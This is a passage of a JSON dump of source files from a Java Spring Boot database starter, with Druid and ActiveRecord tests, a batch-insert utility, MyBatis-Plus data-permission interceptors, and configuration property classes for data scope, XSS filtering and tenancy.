    "content": "/*\n * Copyright (c) 2019-2029, Dreamlu 卢春梦 (596392912@qq.com & www.dreamlu.net).\n * <p>\n * Licensed under the GNU LESSER GENERAL PUBLIC LICENSE 3.0;\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n * <p>\n * http://www.gnu.org/licenses/lgpl.html\n * <p>\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage io.github.wujun728.db.test;\n\nimport com.alibaba.druid.DbType;\nimport com.alibaba.druid.sql.PagerUtils;\n\n/**\n * druid 测试\n */\npublic class DruidPageSqlTest {\n\n\tpublic static void main(String[] args) {\n\t\tString sql = \"select * from xxx where 1=2 order by xx\";\n\t\tString sqlCount = PagerUtils.count(sql, DbType.mysql);\n\t\tSystem.out.println(sqlCount);\n\t\tString limit = PagerUtils.limit(sql, DbType.mysql, 2, 20);\n\t\tSystem.out.println(limit);\n\t}\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-db-activerecord2/src/test/java/io/github/wujun728/db/test/TestDb.java",
    "content": "package io.github.wujun728.db.test;\n\nimport cn.hutool.json.JSONUtil;\nimport cn.hutool.log.StaticLog;\nimport io.github.wujun728.db.record.Db;\nimport io.github.wujun728.db.record.Record;\nimport io.github.wujun728.db.utils.DataSourcePool;\n\nimport javax.sql.DataSource;\n\nimport static io.github.wujun728.db.utils.DataSourcePool.main;\n\n\npublic class TestDb {\n\n    public static void main(String[] args) {\n        String url = \"jdbc:mysql://localhost:3306/db_qixing_bk?useUnicode=true&characterEncoding=UTF-8&useSSL=true&serverTimezone=UTC&useInformationSchema=true\";\n        String username = \"root\";\n        String password = \"\";\n        String driver = \"com.mysql.cj.jdbc.Driver\";\n        DataSource ds = DataSourcePool.init(\"main\",url,username,password,driver);\n        //Db.init(main,ds);\n        Db.init(main,ds);\n        Record record = Db.use().findById(\"biz_mail\",2);\n        Record record2 = Db.use().findById(\"api_sql\",\"id,sql_id\",\"getBizTests\");\n    }\n\n\n    public static void main1(String[] args) {\n        String url = \"jdbc:mysql://localhost:3306/db_qixing_bk?useUnicode=true&characterEncoding=UTF-8&useSSL=true&serverTimezone=UTC&useInformationSchema=true\";\n        String username = \"root\";\n        String password = \"\";\n        String driver = \"com.mysql.cj.jdbc.Driver\";\n        DataSource dataSource = DataSourcePool.init(\"main\",url,username,password);\n        //registerRecord(\"db_qixing_bk\");\n        Db.init(main,dataSource);\n        //查询数据并返回单条Record\n        Record record = Db.use().findById(\"biz_mail\",new Object[]{2,\"getBizTests\"});\n//        record.set()\n        StaticLog.info(JSONUtil.toJsonPrettyStr(record));\n\n//        List data1 = Db.use(main).queryAll(ApiSql.class);\n//\n//        //查询数据并转为Bean清单\n//        List<ApiSql> data2 = Db.queryForBeanList(\" SELECT * FROM api_sql \", ApiSql.class,null);\n//\n//        Page<Record> data3 = Db.paginate(1,10,\" SELECT * \",\" FROM api_sql \");\n//        StaticLog.info(JSONUtil.toJsonPrettyStr(data3));\n    }\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-db-activerecord2/src/test/java/io/github/wujun728/db/test/User.java",
    "content": "package io.github.wujun728.db.test;\n\nimport com.baomidou.mybatisplus.annotation.TableField;\nimport com.baomidou.mybatisplus.annotation.TableId;\nimport lombok.Data;\n\nimport javax.persistence.Column;\nimport javax.persistence.Id;\nimport java.util.Date;\n\n@Data\npublic class User {\n\n\t@Id\n\t@TableId(value = \"id\")\n\tprivate Long id;\n\tprivate String userName;\n\t@Column(name = \"first_adress_\")\n\tprivate String firstAdress;\n\tprivate int age;\n\n\t@Column(name = \"create_date_\")\n\t@TableField(value = \"create_date_\")\n\tprivate Date createData;\n\t@TableField(exist = false)\n\tprivate String testName;\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-db-spring-boot-starter/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\"\n         xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <modelVersion>4.0.0</modelVersion>\n    <groupId>io.github.wujun728</groupId>\n    <artifactId>jun-db-spring-boot-starter</artifactId>\n    <version>1.0.25</version>\n    <packaging>jar</packaging>\n    <description>数据库通用组件</description>\n\n    <properties>\n        <java.version>1.8</java.version>\n        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n        <maven.compiler.source>1.8</maven.compiler.source>\n        <maven.compiler.target>1.8</maven.compiler.target>\n        <jun.version>1.0.25</jun.version>\n        <spring-boot.version>2.5.14</spring-boot.version>\n        <spring-cloud.version>2020.0.6</spring-cloud.version>\n        <mybatis-plus.version>3.5.7</mybatis-plus.version>\n        <druid.version>1.2.6</druid.version>\n        <guava.version>33.2.1-jre</guava.version>\n        <mica-auto.version>2.3.2</mica-auto.version>\n    </properties>\n\n    <dependencyManagement>\n        <dependencies>\n            <dependency>\n                <groupId>org.springframework.boot</groupId>\n                <artifactId>spring-boot-dependencies</artifactId>\n                <version>${spring-boot.version}</version>\n                <type>pom</type>\n                <scope>import</scope>\n            </dependency>\n            <dependency>\n                <groupId>org.springframework.cloud</groupId>\n                <artifactId>spring-cloud-dependencies</artifactId>\n                <version>${spring-cloud.version}</version>\n                <type>pom</type>\n                <scope>import</scope>\n            </dependency>\n        </dependencies>\n    </dependencyManagement>\n\n    <dependencies>\n        <dependency>\n            <groupId>io.github.wujun728</groupId>\n            <artifactId>jun-common-base</artifactId>\n            <version>${jun.version}</version>\n        </dependency>\n\n        <dependency>\n            <groupId>com.baomidou</groupId>\n            <artifactId>mybatis-plus-boot-starter</artifactId>\n            <version>${mybatis-plus.version}</version>\n        </dependency>\n        <!-- druid 官方 starter -->\n        <dependency>\n            <groupId>com.alibaba</groupId>\n            <artifactId>druid-spring-boot-starter</artifactId>\n            <version>${druid.version}</version>\n        </dependency>\n\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-configuration-processor</artifactId>\n            <optional>true</optional>\n        </dependency>\n        <dependency>\n            <groupId>net.dreamlu</groupId>\n            <artifactId>mica-auto</artifactId>\n            <version>${mica-auto.version}</version>\n        </dependency>\n        <dependency>\n            <groupId>com.google.guava</groupId>\n            <artifactId>guava</artifactId>\n            <version>${guava.version}</version>\n        </dependency>\n    </dependencies>\n</project>\n"
  },
  {
    "path": "jun_springboot_starter/jun-db-spring-boot-starter/src/main/java/io/github/wujun728/common/JdbcTemplateUtils.java",
    "content": "package io.github.wujun728.common;\n\nimport com.baomidou.mybatisplus.core.metadata.TableFieldInfo;\nimport com.baomidou.mybatisplus.core.metadata.TableInfo;\nimport com.baomidou.mybatisplus.core.metadata.TableInfoHelper;\nimport lombok.SneakyThrows;\nimport lombok.extern.slf4j.Slf4j;\nimport org.apache.ibatis.reflection.DefaultReflectorFactory;\nimport org.apache.ibatis.reflection.MetaObject;\nimport org.apache.ibatis.reflection.factory.DefaultObjectFactory;\nimport org.apache.ibatis.reflection.wrapper.DefaultObjectWrapperFactory;\nimport org.apache.ibatis.session.Configuration;\nimport org.apache.ibatis.type.JdbcType;\nimport org.apache.ibatis.type.TypeHandler;\nimport org.apache.ibatis.type.TypeHandlerRegistry;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.jdbc.core.BatchPreparedStatementSetter;\nimport org.springframework.jdbc.core.JdbcTemplate;\nimport org.springframework.stereotype.Component;\n\nimport java.sql.PreparedStatement;\nimport java.sql.SQLException;\nimport java.util.List;\nimport java.util.Objects;\nimport java.util.stream.Collectors;\n\n@Component\n@Slf4j\npublic class JdbcTemplateUtils {\n\n\n\n    @Autowired\n    private JdbcTemplate jdbcTemplate;\n\n\n    public  <T> void batchInsert(List<T> lists, Class<T> clazz){\n//        StringBuilder sql = new StringBuilder(\"INSERT INTO \");\n        TableInfo tableInfo = TableInfoHelper.getTableInfo(clazz);\n        //表名\n//        sql.append(tableInfo.getTableName());\n//\n        //获取排除主键后的字段\n        List<TableFieldInfo> tableFieldInfos = tableInfo\n                .getFieldList()\n                .stream()\n                .filter(tableFieldInfo -> !tableFieldInfo.getColumn().equals(tableInfo.getKeyColumn()))\n                .collect(Collectors.toList());\n//\n//        String columns = tableFieldInfos.stream()\n//                .map(TableFieldInfo::getColumn)\n//                .collect(Collectors.joining(\",\",\"(\",\")\"));\n//\n//        sql.append(columns);\n//        String values = tableFieldInfos.stream()\n//                .map(tableFieldInfo -> \"?\")\n//                .collect(Collectors.joining(\",\",\"(\",\")\"));\n//        sql.append(\" values \" + values);\n//        log.info(\"sql : {} \",sql.toString());\n        String sql = getSql(tableInfo,tableFieldInfos);\n\n\n        jdbcTemplate.batchUpdate(sql, new BatchPreparedStatementSetter() {\n            @Override\n            public void setValues(PreparedStatement ps, int i) throws SQLException {\n                T t = lists.get(i);\n//                ps.setString(1, user.getName());\n//                ps.setString(2, user.getEmail());\n                setParams(ps,t,tableFieldInfos,tableInfo);\n            }\n\n            @Override\n            public int getBatchSize() {\n                return lists.size();\n            }\n        });\n    }\n\n    @SneakyThrows\n    public <T> void setParams(PreparedStatement ps, T t, List<TableFieldInfo> tableFieldInfos, TableInfo tableInfo){\n        //获取mybatis 的Configuration\n        Configuration configuration = tableInfo.getConfiguration();\n\n        //获取mybatis 注册的TypeHandler\n        TypeHandlerRegistry typeHandlerRegistry = configuration.getTypeHandlerRegistry();\n\n        //通过mybatis 反射工具获取反射对象\n        MetaObject metaObject = MetaObject.forObject(t, new DefaultObjectFactory(),\n                new DefaultObjectWrapperFactory(), new DefaultReflectorFactory());\n\n        //通过java 实体对象设置jdbc参数\n        for (int i = 0; i < tableFieldInfos.size(); i++) {\n            //获取字段对象\n            TableFieldInfo tableFieldInfo = tableFieldInfos.get(i);\n\n            //获取字段的typeHandler\n            TypeHandler typeHandler = typeHandlerRegistry.getTypeHandler(tableFieldInfo.getPropertyType());\n\n            //获取该字段的值\n            Object value =  metaObject.getValue(tableFieldInfo.getProperty());\n\n            //如果字段值为空且jdbcType也为空就获取默认的jdbcType\n            JdbcType jdbcType = Objects.isNull(value) && Objects.isNull(tableFieldInfo.getJdbcType()) ? configuration.getJdbcTypeForNull() : tableFieldInfo.getJdbcType();\n\n            //通过typeHandler 设置参数\n            typeHandler.setParameter(ps,i+1,value,jdbcType);\n        }\n\n    }\n\n    /***\n     * 获取sql\n     * @param tableInfo\n     * @param <T>\n     * @return\n     */\n    public <T> String getSql(TableInfo tableInfo, List<TableFieldInfo> tableFieldInfos ){\n        //sql\n        StringBuilder sql = new StringBuilder(\"INSERT INTO \");\n\n        //表名\n        sql.append(tableInfo.getTableName());\n\n        //添加字段\n        String columns = tableFieldInfos.stream()\n                .map(TableFieldInfo::getColumn)\n                .collect(Collectors.joining(\",\", \"(\", \")\"));\n\n        sql.append(columns);\n\n        //添加values\n        sql.append(\" values \");\n\n        //添加参数?\n        String params = tableFieldInfos\n                .stream()\n                .map(tableFieldInfo -> \"?\")\n                .collect(Collectors.joining(\",\", \"(\", \")\"));\n\n        sql.append(params);\n\n        return sql.toString();\n    }\n\n}\n\n"
  },
  {
    "path": "jun_springboot_starter/jun-db-spring-boot-starter/src/main/java/io/github/wujun728/common/datascope/mp/interceptor/DataScopeInnerInterceptor.java",
    "content": "package io.github.wujun728.common.datascope.mp.interceptor;\n\nimport cn.hutool.core.collection.CollUtil;\nimport cn.hutool.core.util.ObjectUtil;\nimport cn.hutool.core.util.StrUtil;\nimport com.baomidou.mybatisplus.core.toolkit.PluginUtils;\nimport com.baomidou.mybatisplus.extension.plugins.inner.InnerInterceptor;\nimport io.github.wujun728.common.datascope.mp.sql.handler.SqlHandler;\nimport io.github.wujun728.common.properties.DataScopeProperties;\nimport lombok.Data;\nimport lombok.NoArgsConstructor;\nimport lombok.extern.slf4j.Slf4j;\nimport net.sf.jsqlparser.JSQLParserException;\nimport net.sf.jsqlparser.expression.Alias;\nimport net.sf.jsqlparser.expression.Expression;\nimport net.sf.jsqlparser.expression.ExpressionVisitorAdapter;\nimport net.sf.jsqlparser.expression.operators.conditional.AndExpression;\nimport net.sf.jsqlparser.parser.CCJSqlParserManager;\nimport net.sf.jsqlparser.parser.CCJSqlParserUtil;\nimport net.sf.jsqlparser.schema.Column;\nimport net.sf.jsqlparser.schema.Table;\nimport net.sf.jsqlparser.statement.select.*;\nimport org.apache.ibatis.executor.Executor;\nimport org.apache.ibatis.mapping.BoundSql;\nimport org.apache.ibatis.mapping.MappedStatement;\nimport org.apache.ibatis.session.ResultHandler;\nimport org.apache.ibatis.session.RowBounds;\nimport org.springframework.http.server.PathContainer;\nimport org.springframework.web.util.pattern.PathPatternParser;\n\nimport java.io.StringReader;\nimport java.util.*;\n\n/**\n * 数据权限拦截器\n *\n */\n@Slf4j\n@Data\n@NoArgsConstructor\npublic class DataScopeInnerInterceptor implements InnerInterceptor {\n\n    private DataScopeProperties dataScopeProperties;\n\n    /**\n     * 权限的where条件\n     */\n    private SqlHandler sqlHandler;\n\n    /**\n     * 对表配置进行缓存，优先读取缓存，在进行匹配\n     */\n    private Map<String, TableConfig> tableInfoMap = new HashMap<>();\n\n    /**\n     * 通配符\n     */\n    private PathPatternParser pathPatternParser = new PathPatternParser();\n\n    public DataScopeInnerInterceptor(DataScopeProperties dataScopeProperties, SqlHandler sqlHandler) {\n        this.dataScopeProperties = dataScopeProperties;\n        this.sqlHandler = sqlHandler;\n    }\n\n    @Override\n    public void beforeQuery(Executor executor, MappedStatement ms, Object parameter, RowBounds rowBounds, ResultHandler resultHandler, BoundSql boundSql) {\n        //为空时：所有sql都添加权限控制\n        if (CollUtil.isEmpty(dataScopeProperties.getIncludeSqls())\n                //有值时：只有配置的sql添加权限控制\n            || dataScopeProperties.getIncludeSqls().contains(ms.getId())) {\n            //判断排除的sql\n            if(CollUtil.isEmpty(dataScopeProperties.getIgnoreSqls())\n                    || !dataScopeProperties.getIgnoreSqls().contains(ms.getId())){\n                PluginUtils.MPBoundSql mpBs = PluginUtils.mpBoundSql(boundSql);\n                String sql = boundSql.getSql();\n                try {\n                    Select select = explainQuerySql(sql);\n                    reform(select.getSelectBody());\n                    mpBs.sql(select.toString());\n                } catch (JSQLParserException e) {\n                    throw new RuntimeException(e);\n                }\n            }\n        }\n    }\n\n    public Select explainQuerySql(String sql) throws JSQLParserException {\n        CCJSqlParserManager parserManager = new CCJSqlParserManager();\n        Select select = (Select) parserManager.parse(new StringReader(sql));\n        return select;\n    }\n\n    /**\n     * 递归对查询和解析后的子查询进行改造\n     * @param selectBody\n     * @param <T>\n     * @throws JSQLParserException\n     */\n    public <T extends Select>void reform(Select selectBody) throws JSQLParserException {\n        // 如果是plainSelect的话进行改造\n        if(selectBody instanceof PlainSelect && ObjectUtil.isNotNull(sqlHandler)){\n            PlainSelect select = (PlainSelect) selectBody;\n            // 获取权限的where条件\n            String scopeWhereSql = sqlHandler.handleScopeSql();\n            // 如果条件不是空的话才对select进行改造\n            if(StrUtil.isNotBlank(scopeWhereSql)){\n                // 需要改造的别名列表，自动增加到where条件中\n                List<String> tableAliasList = new ArrayList<>();\n                FromItem fromItem = select.getFromItem();\n                String tableAlias = explainFromItem(fromItem);\n                // 获取from的表字段，如果from是子查询则进行递归\n                if(fromItem instanceof Table){\n\n                    String upperTableName = ((Table) fromItem).getName().toUpperCase();\n                    if(tableInfoMap.containsKey(upperTableName)){\n                        if (!tableInfoMap.get(upperTableName).getIgnore()) {\n                            tableAliasList.add(StrUtil.isNotBlank(tableAlias)? tableAlias: \"\");\n                        }\n                    }else{\n                        boolean ignore = true;\n                        if(isReformTable(upperTableName)){\n                            tableAliasList.add(StrUtil.isNotBlank(tableAlias)? tableAlias: \"\");\n                            ignore = false;\n                        }\n                        // 写入缓存\n                        tableInfoMap.put(upperTableName, new TableConfig(upperTableName, ignore));\n                    }\n                }else if(fromItem instanceof Select){\n                    reform(((Select) fromItem).getSelectBody());\n                }\n                // 获取join列表，然后获取对应的表或者递归子查询\n                List<Join> joinList = select.getJoins();\n                if (CollUtil.isNotEmpty(joinList)) {\n                    for (Join join : joinList) {\n                        if(join.getRightItem() instanceof Table){\n                            String joinTable = ((Table) join.getRightItem()).getName().toUpperCase();\n                            String joinAlias = ((Table) join.getRightItem()).getAlias().getName();\n                            if(tableInfoMap.containsKey(joinTable)){\n                                if (!tableInfoMap.get(joinTable).getIgnore()) {\n                                    tableAliasList.add(StrUtil.isNotBlank(joinAlias)? joinAlias: \"\");\n                                }\n                            }else{\n                                boolean ignore = true;\n                                if(isReformTable(joinTable)){\n                                    tableAliasList.add(StrUtil.isNotBlank(joinAlias)? joinAlias: \"\");\n                                    ignore = false;\n                                }\n                                // 写入缓存\n                                tableInfoMap.put(joinTable, new TableConfig(joinTable, ignore));\n                            }\n                        }\n                        if(join.getRightItem() instanceof Select){\n                            reform(((Select) join.getRightItem()).getSelectBody());\n                        }\n                    }\n                }\n                // 如果改造的表是空的话则不改造对应的select\n                if(CollUtil.isNotEmpty(tableAliasList)){\n                    reformWhere(select, scopeWhereSql, tableAliasList);\n                }\n            }\n            // 如果select不是plainSelect的话则进行递归改造\n        }else if(selectBody instanceof WithItem && Objects.nonNull(((WithItem)selectBody).getSelect())){\n            reform(((WithItem)selectBody).getSelect());\n        }\n    }\n\n\n    /**\n     * 判断表是否需要改造\n     * @param table\n     * @return\n     * 1. 判断表是否在需要改造的范围\n     *      1.1 如果表在inclde的set中（是否存在没用通配符的情况写入配置）\n     *      1.2 进行通配符匹配判断范围\n     * 2. 在改造的范围中进行提出\n     *      2.1 判断是不是完全匹配上ignore列表中\n     *      2.2 判断是否在通配符过滤\n     */\n    private boolean isReformTable(String table){\n        return\n                // 1. 判断表是否在需要改造的范围\n                (dataScopeProperties.getIncludeTables().contains(table)\n                ||dataScopeProperties.getIncludeTables().stream().anyMatch(item->\n                pathPatternParser.parse(item.toUpperCase()).matches(PathContainer.parsePath(table))\n        ))&& (\n                // 如果没有忽略列表的话在范围中直接返回\n                CollUtil.isEmpty(dataScopeProperties.getIgnoreTables())\n                        // 在改造的范围中进行忽略表\n                ||!(dataScopeProperties.getIgnoreTables().contains(table)||\n                dataScopeProperties.getIgnoreTables().stream().anyMatch(item->\n                        pathPatternParser.parse(item.toUpperCase()).matches(PathContainer.parsePath(table))\n                )));\n    }\n\n    /**\n     * 解析from中的东西\n     * @param fromItem\n     * @return\n     * @throws JSQLParserException\n     */\n    private String explainFromItem(FromItem fromItem) throws JSQLParserException {\n        // 别名\n        String alias = \"\";\n        if(Objects.nonNull(fromItem)){\n            // 如果from的东西是表的话\n            if (fromItem instanceof Table) {\n                Alias tablealias = ((Table) fromItem).getAlias();\n                if(Objects.nonNull(tablealias)&& StrUtil.isNotBlank(tablealias.getName())){\n                    alias = tablealias.getName();\n                }else{\n                    alias = ((Table) fromItem).getName();\n                }\n            }\n            // 如果from的子查询\n            if(fromItem instanceof Select){\n                Select subSelectBody = ((Select) fromItem).getSelectBody();\n                reform(subSelectBody);\n            }\n        }\n        return alias;\n    }\n\n    /**\n     * 改造where条件\n     * @param select\n     * @param whereSql where 条件\n     * @param aliasName 需要添加权限的表别名\n     * @return\n     * @throws JSQLParserException\n     */\n    private Select reformWhere(PlainSelect select, String whereSql, List<String> aliasName) throws JSQLParserException {\n\n        // todo 处理exists\n        if(StrUtil.isNotBlank(whereSql)&& CollUtil.isNotEmpty(aliasName)){\n            for (String alias : aliasName) {\n                Expression expression = CCJSqlParserUtil\n                        .parseCondExpression(whereSql);\n                expression.accept(new ExpressionVisitorAdapter(){\n                    @Override\n                    public void visit(Column column) {\n                        if(Objects.isNull(column.getTable())|| SqlHandler.ALIAS_SYNBOL.equals(column.getTable().toString())){\n                            Table table = new Table();\n                            table.setAlias(new Alias(alias));\n                            column.setTable(table);\n                        }\n                    }\n                });\n                if(ObjectUtil.isNull(select.getWhere())){\n                    select.setWhere(expression);\n                }else {\n                    AndExpression andExpression = new AndExpression(select.getWhere(), expression);\n                    select.setWhere(andExpression);\n                }\n            }\n        }\n        return select;\n    }\n\n\n    public class TableConfig{\n        private String tableName;\n        private Boolean isIgnore;\n\n        public TableConfig(String tableName, Boolean isIgnore) {\n            this.tableName = tableName;\n            this.isIgnore = isIgnore;\n        }\n\n        public String getTableName() {\n            return tableName;\n        }\n\n        public Boolean getIgnore() {\n            return isIgnore;\n        }\n    }\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-db-spring-boot-starter/src/main/java/io/github/wujun728/common/datascope/mp/interceptor/EnableQuerySqlLogInnerInterceptor.java",
    "content": "package io.github.wujun728.common.datascope.mp.interceptor;\n\nimport cn.hutool.core.lang.Assert;\nimport com.baomidou.mybatisplus.core.toolkit.PluginUtils;\nimport com.baomidou.mybatisplus.extension.plugins.inner.InnerInterceptor;\nimport lombok.extern.slf4j.Slf4j;\nimport org.apache.ibatis.executor.Executor;\nimport org.apache.ibatis.mapping.BoundSql;\nimport org.apache.ibatis.mapping.MappedStatement;\nimport org.apache.ibatis.session.ResultHandler;\nimport org.apache.ibatis.session.RowBounds;\n\nimport java.sql.SQLException;\n\n/**\n * 示例\n *\n */\n@Slf4j\npublic class EnableQuerySqlLogInnerInterceptor implements InnerInterceptor{\n    private InnerInterceptor delegate;\n\n    public EnableQuerySqlLogInnerInterceptor(InnerInterceptor delegate) {\n        Assert.notNull(delegate, \"委派类不能为空\");\n        this.delegate = delegate;\n    }\n\n    @Override\n    public void beforeQuery(Executor executor, MappedStatement ms, Object parameter, RowBounds rowBounds, ResultHandler resultHandler, BoundSql boundSql) throws SQLException {\n        PluginUtils.MPBoundSql mpBs = PluginUtils.mpBoundSql(boundSql);\n        String sql = boundSql.getSql();\n        log.info(\"执行mapperId{},原始sql为{}\", ms.getId(), sql);\n        delegate.beforeQuery(executor, ms, parameter, rowBounds, resultHandler, boundSql);\n        log.info(\"执行mapperId{}, 修改sql为{}\", ms.getId(), mpBs.sql());\n    }\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-db-spring-boot-starter/src/main/java/io/github/wujun728/common/datascope/mp/sql/handler/CreatorDataScopeSqlHandler.java",
    "content": "package io.github.wujun728.common.datascope.mp.sql.handler;\n\nimport cn.hutool.core.collection.CollUtil;\nimport cn.hutool.core.lang.Assert;\nimport cn.hutool.core.util.StrUtil;\n//import io.github.wujun728.common.context.LoginUserContextHolder;\n//import io.github.wujun728.common.enums.DataScope;\n//import io.github.wujun728.common.feign.UserService;\n//import io.github.wujun728.common.model.SysRole;\n//import io.github.wujun728.common.model.SysUser;\nimport io.github.wujun728.common.properties.DataScopeProperties;\nimport org.springframework.beans.factory.annotation.Autowired;\n\nimport java.util.List;\nimport java.util.Objects;\n\n/**\n * 个人权限的处理器\n *\n */\npublic class CreatorDataScopeSqlHandler implements SqlHandler{\n\n//    @Autowired\n//    UserService userService;\n\n    @Autowired\n    private DataScopeProperties dataScopeProperties;\n\n    /**\n     * 返回需要增加的where条件，返回空字符的话则代表不需要权限控制\n     *\n     * @return where条件\n     * 如果角色是全部权限的话则不进行控制，如果是个人权限的话则自动加入create_id = user_id\n     */\n    @Override\n    public String handleScopeSql() {\n        /*SysUser user = LoginUserContextHolder.getUser();\n        Assert.notNull(user, \"登陆人不能为空\");\n        List<SysRole> roleList = userService.findRolesByUserId(user.getId());\n        return StrUtil.isBlank(dataScopeProperties.getCreatorIdColumnName())\n                ||CollUtil.isEmpty(roleList)\n                || roleList.stream().anyMatch(item-> Objects.isNull(item.getDataScope()) || DataScope.ALL.equals(item.getDataScope()))\n                ? DO_NOTHING:\n                // 这里确保有配置权限范围控制的字段\n                // 1. 如果没有配置角色的情况默认采用只读全部的记录\n                // 2. 如果有配置角色的话判断是否存在有ALL获取null的情况，如果没有ALL的话读取个人创建记录\n                String.format(\"%s = '%s'\", dataScopeProperties.getCreatorIdColumnName(), user.getId());*/\n        return \"\";\n    }\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-db-spring-boot-starter/src/main/java/io/github/wujun728/common/datascope/mp/sql/handler/DefaultSqlHandler.java",
    "content": "package io.github.wujun728.common.datascope.mp.sql.handler;\n\n/**\n * 示例\n *\n */\npublic class DefaultSqlHandler implements SqlHandler{\n\n\n    @Override\n    public String handleScopeSql() {\n        return DO_NOTHING;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-db-spring-boot-starter/src/main/java/io/github/wujun728/common/datascope/mp/sql/handler/SqlHandler.java",
    "content": "package io.github.wujun728.common.datascope.mp.sql.handler;\n\n/**\n * 数据权限的sql获取接口\n *\n */\npublic interface SqlHandler {\n\n    /**\n     * 通过这个字符替换成别名，自动的\n     */\n    String ALIAS_SYNBOL = \"alias_\";\n\n    /**\n     * 空字符串\n     */\n    String DO_NOTHING = \"\";\n\n    /**\n     * 返回需要增加的where条件，返回空字符的话则代表不需要权限控制\n     * @return where条件\n     */\n    String handleScopeSql();\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-db-spring-boot-starter/src/main/java/io/github/wujun728/common/properties/DataScopeProperties.java",
    "content": "package io.github.wujun728.common.properties;\n\nimport cn.hutool.core.collection.CollUtil;\nimport com.google.common.collect.ImmutableSet;\nimport lombok.Data;\nimport org.springframework.boot.context.properties.ConfigurationProperties;\n\nimport java.util.Collections;\nimport java.util.HashSet;\nimport java.util.Set;\n\n/**\n * 示例\n *\n */\n@ConfigurationProperties(prefix = \"jun.datascope\")\n@Data\npublic class DataScopeProperties {\n    private static final Set<String> INGORE_SQL_ID = ImmutableSet\n            .of(\"io.github.wujun728.user.mapper.findRolesByUserId\"\n                    , \"io.github.wujun728.user.mapper.SysUserMapper.selectList\"\n                    , \"io.github.wujun728.user.mapper.SysUserRoleMapper.findRolesByUserId\"\n                    , \"io.github.wujun728.user.mapper.SysRoleMenuMapper.findMenusByRoleIds\");\n    /**\n     * 是否开启权限控制\n     */\n    private Boolean enabled = Boolean.FALSE;\n\n    /**\n     * 是否开启打印sql的修改情况\n     */\n    private Boolean enabledSqlDebug = Boolean.FALSE;\n    /**\n     * 配置那些表不执行权限控制\n     */\n    private Set<String> ignoreTables = Collections.emptySet();\n    /**\n     * 指定那些sql不执行权限控制\n     */\n    private Set<String> ignoreSqls = INGORE_SQL_ID;\n    /**\n     * 配置那些表执行数据权限控制，默认是*则表示全部\n     */\n    private Set<String> includeTables = Collections.singleton(\"*\");\n    /**\n     * 指定那些sql执行数据权限控制\n     * 1. 为空时：所有sql都添加权限控制\n     * 2. 有值时：只有配置的sql添加权限控制\n     */\n    private Set<String> includeSqls = Collections.emptySet();\n\n    /**\n     * 指定创建人id的字段名\n     */\n    private String creatorIdColumnName = \"creator_id\";\n\n    public void setIgnoreSqls(Set<String> ignoreSqls) {\n        Set<String> ingoreSet = new HashSet<>();\n        ingoreSet.addAll(INGORE_SQL_ID);\n        if(CollUtil.isNotEmpty(ignoreSqls)){\n            ingoreSet.addAll(ignoreSqls);\n        }\n        this.ignoreSqls = ingoreSet;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-db-spring-boot-starter/src/main/java/io/github/wujun728/common/properties/ProjectProperties.java",
    "content": "package io.github.wujun728.common.properties;\n\nimport lombok.Data;\nimport org.springframework.boot.context.properties.ConfigurationProperties;\nimport org.springframework.stereotype.Component;\nimport org.springframework.util.StringUtils;\n\n/**\n * 项目配置项-固定配置-默认配置\n * @date 2018/11/6\n */\n@Data\n@Component\n@ConfigurationProperties(prefix = \"project\")\npublic class ProjectProperties {\n\n    /** 是否开启验证码 */\n    private boolean captchaOpen = false;\n\n    /** 是否开启Swagger数据接口文档 */\n    private boolean swaggerEnabled = true;\n\n    /** xss防护设置 */\n    private ProjectProperties.Xxs xxs = new ProjectProperties.Xxs();\n\n\n    /**\n     * xss防护设置\n     */\n    @Data\n    public static class Xxs {\n        /** xss防护开关 */\n        private boolean enabled = true;\n\n        /** 拦截规则，可通过“,”隔开多个 */\n        private String urlPatterns = \"/*\";\n\n        /** 默认忽略规则（无需修改） */\n        private String defaultExcludes = \"/favicon.ico,/img/*,/js/*,/css/*,/lib/*\";\n\n        /** 忽略规则，可通过“,”隔开多个 */\n        private String excludes = \"\";\n\n        /**\n         * 拼接忽略规则\n         */\n        public String getExcludes() {\n            if (!StringUtils.isEmpty(excludes.trim())) {\n                return defaultExcludes + \",\" + excludes;\n            }\n            return defaultExcludes;\n        }\n    }\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-db-spring-boot-starter/src/main/java/io/github/wujun728/common/properties/TenantProperties.java",
    "content": "package io.github.wujun728.common.properties;\n\nimport lombok.Getter;\nimport lombok.Setter;\nimport org.springframework.boot.context.properties.ConfigurationProperties;\n//import org.springframework.cloud.context.config.annotation.RefreshScope;\nimport org.springframework.stereotype.Component;\n\nimport java.util.ArrayList;\nimport java.util.List;\n\n/**\n * 多租户配置\n */\n@Setter\n@Getter\n@ConfigurationProperties(prefix = \"jun.tenant\")\n//@RefreshScope\n@Component\npublic class TenantProperties {\n    /**\n     * 是否开启多租户\n     */\n    private Boolean enable = false;\n\n    /**\n     * 配置不进行多租户隔离的表名\n     */\n    private List<String> ignoreTables = new ArrayList<>();\n\n    /**\n     * 配置不进行多租户隔离的sql\n     * 需要配置mapper的全路径如：com.central.user.mapper.SysUserMapper.findList\n     */\n    private List<String> ignoreSqls = new ArrayList<>();\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-db-spring-boot-starter/src/main/java/io/github/wujun728/db/config/DateMetaObjectHandler.java",
